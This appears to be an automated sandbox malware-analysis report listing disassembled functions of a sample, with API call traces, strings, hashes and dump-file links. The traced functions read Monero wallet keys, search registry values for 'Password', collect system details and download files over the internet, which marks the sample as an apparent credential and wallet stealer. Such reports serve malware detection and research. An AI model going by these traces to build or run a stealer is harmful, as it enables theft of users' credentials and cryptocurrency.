Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$PD$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-277520245
Opcode ID: 9fa036d45822694fa86bccb771a893bcb1aa6c7c63209afae109855fc52dd509
Instruction ID: 9dfc4f129547639799b4bcf97ca8410d614ac8bfa762f5638923b8c30121dfb4
Opcode Fuzzy Hash: 9fa036d45822694fa86bccb771a893bcb1aa6c7c63209afae109855fc52dd509
Instruction Fuzzy Hash: E15121B195011A57CB55FB60EC99FEE773CBBD4300F408598B60E62081EE345B89DFA6

Function 00577500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00577542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0057757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577603
RtlAllocateHeap.NTDLL(00000000), ref: 0057760A
wsprintfA.USER32 ref: 00577640

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Strings

X, xrefs: 0057764D, 00577655, 0057761B, 00577623
C, xrefs: 0057754C
\, xrefs: 00577560
:, xrefs: 0057755C

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$X
API String ID: 1544550907-4153561689
Opcode ID: 01fced3a57347e4487d279858f29e0a919272556fd6d130421dfaa79a484206b
Instruction ID: 49f86353cb369a09f53773d54a74f9a5e058524115417ae5651a76581cc63aad
Opcode Fuzzy Hash: 01fced3a57347e4487d279858f29e0a919272556fd6d130421dfaa79a484206b
Instruction Fuzzy Hash: B7417FB1904258ABDB11DF94EC49BEEBBB8BF48700F108199F50967280D7786A44DBA5

Function 005675D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005672D0: memset.MSVCRT ref: 00567314
Part of subcall function 005672D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0056733A
Part of subcall function 005672D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005673B1
Part of subcall function 005672D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0056740D
Part of subcall function 005672D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00567452
Part of subcall function 005672D0: HeapFree.KERNEL32(00000000), ref: 00567459

lstrcat.KERNEL32(354B3020,005817FC), ref: 00567606
lstrcat.KERNEL32(354B3020,00000000), ref: 00567648
lstrcat.KERNEL32(354B3020, : ), ref: 0056765A
lstrcat.KERNEL32(354B3020,00000000), ref: 0056768F
lstrcat.KERNEL32(354B3020,00581804), ref: 005676A0
lstrcat.KERNEL32(354B3020,00000000), ref: 005676D3
lstrcat.KERNEL32(354B3020,00581808), ref: 005676ED
task.LIBCPMTD ref: 005676FB

Strings

: , xrefs: 0056764E

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 334f200fcdbf78635d0bde45b0179f9b3faa92f7fe042b8bff953f3e00f9a132
Instruction ID: 5bba719e01f441918d990953ca7f163f97435a783ead2c567fbe66a170d15a37
Opcode Fuzzy Hash: 334f200fcdbf78635d0bde45b0179f9b3faa92f7fe042b8bff953f3e00f9a132
Instruction Fuzzy Hash: 85315E7190010AEBCB49EBB4DC99DFE7B79BB89301B148518F102A7291DB38A946CF56

Function 00578100 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0044F0A0,00000000,?,00580E2C,00000000,?,00000000), ref: 00578130
RtlAllocateHeap.NTDLL(00000000), ref: 00578137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00578158
__aulldiv.LIBCMT ref: 00578172
__aulldiv.LIBCMT ref: 00578180
wsprintfA.USER32 ref: 005781AC

Strings

%d MB, xrefs: 005781A3
D, xrefs: 0057819B, 0057819E
@, xrefs: 0057814D

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@$D
API String ID: 2774356765-428414144
Opcode ID: 603a2af2d1c77c3e27f4869d44ceee5961ec7316f32a7f6d7182b7387d59c8c6
Instruction ID: 444b9a34199c0a91f571d9833f5acdab441b8b3bd8091d2dbba7ea3077ce05d4
Opcode Fuzzy Hash: 603a2af2d1c77c3e27f4869d44ceee5961ec7316f32a7f6d7182b7387d59c8c6
Instruction Fuzzy Hash: AE21EFB1D44259ABDB00DFD4DC49FAEBB78FB44B10F108519F619BB280D7786901CBA5

Function 005672D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00567314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0056733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005673B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0056740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00567452
HeapFree.KERNEL32(00000000), ref: 00567459
task.LIBCPMTD ref: 00567555

Strings

Password, xrefs: 00567401

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 79aafc5b58d24ee84c4682c1499920f1be2cafe40c2d9e2c9c7dd9d882cfd51a
Instruction ID: 56f4ffca9e2159099a1e1c29b76a24be4610f9af05ae45c93ffcf0c889d54f22
Opcode Fuzzy Hash: 79aafc5b58d24ee84c4682c1499920f1be2cafe40c2d9e2c9c7dd9d882cfd51a
Instruction Fuzzy Hash: 53614BB590411D9BDB24DB50CC59BEABBB8BF98304F0085E9E649A7141DF705BC9CFA0

Function 005740B0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005740D5
RegOpenKeyExA.KERNEL32(80000001,0044E920,00000000,00020119,?), ref: 005740F4
RegQueryValueExA.ADVAPI32(?,0044F2F8,00000000,00000000,00000000,000000FF), ref: 00574118
RegCloseKey.ADVAPI32(?), ref: 00574122
lstrcat.KERNEL32(?,00000000), ref: 00574147
lstrcat.KERNEL32(?,0044F3D0), ref: 0057415B

Strings

D, xrefs: 005740E8
`D, xrefs: 005741B5

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: D$`D
API String ID: 2623679115-609450181
Opcode ID: e40cd9a2d85c9e2d801a05780dd9a2dc1f1139ab081a9c732b086c39a06dba14
Instruction ID: d2459a279197c7e4f2b8d23eca3c49a920b8a1993f9dc66a7d8d8e07237a8b02
Opcode Fuzzy Hash: e40cd9a2d85c9e2d801a05780dd9a2dc1f1139ab081a9c732b086c39a06dba14
Instruction Fuzzy Hash: 814187B69001087BDB14EBA0EC4AFFE773DB7D9300F04C959B61A57181EA755B88CB92

Function 005660A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00564839
Part of subcall function 005647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00564849

InternetOpenA.WININET(00580DF7,00000001,00000000,00000000,00000000), ref: 0056610F
StrCmpCA.SHLWAPI(?,0044F8B0), ref: 00566147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0056618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005661B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005661DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0056620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00566249
InternetCloseHandle.WININET(?), ref: 00566253
InternetCloseHandle.WININET(00000000), ref: 00566260

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 8eaa5a8588f840917a8fa8db5625a52bdccdc7029eb0f7c18c84cf2af055880e
Instruction ID: 9db64f930f92f3c62a5f4f49ab5341ce3a978954fbd319d657f337ee0f22cffe
Opcode Fuzzy Hash: 8eaa5a8588f840917a8fa8db5625a52bdccdc7029eb0f7c18c84cf2af055880e
Instruction Fuzzy Hash: DB5163B1900218ABDB20DF50DC59BEE7BB8FB85701F108098B609A71C1DB756A89CF96

Function 0056A260 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 00578B60: GetSystemTime.KERNEL32(00580E1A,0044A8A8,005805AE,?,?,005613F9,?,0000001A,00580E1A,00000000,?,00449188,?,\Monero\wallet.keys,00580E17), ref: 00578B86

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0056A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0056A3FF
lstrlen.KERNEL32(00000000), ref: 0056A6BC

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

DeleteFileA.KERNEL32(00000000), ref: 0056A743

Strings

XD, xrefs: 0056A41B
PD, xrefs: 0056A276
@D, xrefs: 0056A494

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
